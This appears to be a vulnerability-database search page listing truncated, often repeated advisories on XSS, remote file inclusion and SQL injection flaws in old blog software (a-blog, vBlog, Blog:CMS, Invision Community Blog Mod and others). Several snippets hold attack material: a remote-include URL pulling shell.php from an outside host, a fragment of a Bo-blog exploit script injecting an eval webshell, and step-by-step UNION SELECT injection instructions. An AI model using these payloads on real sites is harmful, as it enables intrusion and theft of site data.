A-Blog 1.0 - Cross-Site Scripting

A-Blog 1.0 - Cross-Site Scripting source: https://www.securityfocus.com/bid/21716/info The 'a-blog' application is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script cod...

A-Blog 1.0 - Cross-Site Scripting

source: https://www.securityfocus.com/bid/21716/info The 'a-blog' application is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code execute in the browser of an...

JVN#78520316 a-blog cross-site scripting vulnerability

Impact An arbitrary script may be executed on the user's web browser. If session information from a cookie is leaked, an attacker could possibly conduct session hijacking. Solution Products Affected a-blog 1.51 and earlier...

CVE-2006-6586

Multiple PHP remote file inclusion vulnerabilities in Vortex Blog vBlog, aka C12 a0.1nonfunc allow remote attackers to execute arbitrary PHP code via a URL in the cfgProgDir parameter in 1 secure.php or 2 checklogin.php in admin/auth/...

CVE-2006-6586

Multiple PHP remote file inclusion vulnerabilities in Vortex Blog vBlog, aka C12 a0.1nonfunc allow remote attackers to execute arbitrary PHP code via a URL in the cfgProgDir parameter in 1 secure.php or 2 checklogin.php in admin/auth/...

CVE-2006-6586

Vulnerability: CVE-2006-6586 affects Vortex Blog (vBlog, aka C12) - a0.1_nonfunc. Root cause: multiple PHP remote file inclusion via the cfgProgDir parameter in admin/auth/secure.php and admin/auth/checklogin.php. Impact: allows remote attackers to execute arbitrary PHP code on affected systems (...

Blog:CMS Dir_Plugins参数远程文件包含漏洞

Blog:CMS是一款基于PHP的网络日记程序。 Blog:CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是多个脚本对用户提交的'DIRPLUGINS'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 BLOG:CMS BLOG:CMS 4.1 http://blogcms.com/ http://www.example.com/dirblogccms/index.php?DIRPLUGINS=http://evalsite.com/shell.php?...

Exploit For Last Bo-blog version

No description provided by source. ? iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; $data ='nowonline=?php @eval$REQUESTorz;echo orz;die;?&1468108794=orz&-1844564458=orz'; $server =$argv1; $sitepath =$argv2; if$argc!=3 hr; echo" Uaget: boblog.php www.defence80.com /blog/\r\n"; echo" ...

CVE-2006-6369

SQL injection vulnerability in lib/entryreplyentry.php in Invision Community Blog Mod 1.2.4 allows remote attackers to execute arbitrary SQL commands via the eid parameter, when accessed through the "Preview message" functionality...

CVE-2006-6369

SQL injection vulnerability in lib/entryreplyentry.php in Invision Community Blog Mod 1.2.4 allows remote attackers to execute arbitrary SQL commands via the eid parameter, when accessed through the "Preview message" functionality...

CVE-2006-6369

CVE-2006-6369 is an SQL injection in the Invision Community Blog Mod 1.2.4. The flaw is in the file lib/entry_reply_entry.php and is exploitable via the eid parameter when the message is previewed, allowing remote attackers to execute arbitrary SQL commands. The connected documents provide the af...

Spidey Blog Script <= 1.5 (tr) Remote SQL Injection Vulnerability

No description provided by source. Spidey Blog Script == 1.5 tr SQL Injection Vulnerability Author : ASIANEAGLE Site : www.asianeagle.org Contact: [email protected] Risk : High Download Link Of Spidey Blog : http://www.aspindir.com/Kategoriler/ASP/bloglar Exploit; Admin Nick; http://SITE/Spide...

blogsql.txt

Open any blog entry 2. Try to reply to any message 3. Push "Preview message" button Do not post your reply 4. Save source code of opened page to your PC 5. Find this string ' / 6. Change with this SQL Injection: UNION SELECT b.entryid, b.blogid, b.categoryid, b.entryauthorid, b.entryauthorname,...

Invision Community Blog EID SQL注入漏洞

Invision Community Blog是一款基于Invision的一个日记模块。 Invision Community Blog不充分过滤用户提交的URI输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是脚本对用户提交的'EID'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 Invision Power Services Invision Community Blog 1.2.4 目前没有解决方案提供： http://www.invisionblog.com/...

SAPID Blog <= beta 2 (root_path) Remote File Include Vulnerabilities

No description provided by source. $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ SAPID Blog = Beta 2 rootpath Remote File Include Vulnerability $$ Script site: http://sapid.sourceforge.net/ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ Find by:...

Invision Community Blog Mod 1.2.4 SQL Injection Vulnerability

No description provided by source. 1. Open any blog entry 2. Try to reply to any message 3. Push "Preview message" button Do not post your reply 4. Save source code of opened page to your PC 5. Find this string input type='hidden' name='eid' value='BLOGENTRYID' / 6. Change BLOGENTRYID with this S...

CVE-2006-6189

SQL injection vulnerability in displayCalendar.asp in ClickTech Click Blog allows remote attackers to execute arbitrary SQL commands via the date parameter...

Invision Community Blog Mod 1.2.4 - SQL Injection

Invision Community Blog Mod 1.2.4 - SQL Injection 1. Open any blog entry 2. Try to reply to any message 3. Push "Preview message" button Do not post your reply 4. Save source code of opened page to your PC 5. Find this string ' / 6. Change with this SQL Injection: UNION SELECT b.entryid, b.blogid...

Invision Community Blog Mod 1.2.4 .PHP SQL Injection Vulnerability

Open any blog entry 2. Try to reply to any message 3. Push "Preview message" button Do not post your reply 4. Save source code of opened page to your PC 5. Find this string input type='hidden' name='eid' value='BLOGENTRYID' / 6. Change BLOGENTRYID with this SQL Injection: BLOGENTRYID UNION...

CVE-2006-6189

SQL injection vulnerability in displayCalendar.asp in ClickTech Click Blog allows remote attackers to execute arbitrary SQL commands via the date parameter...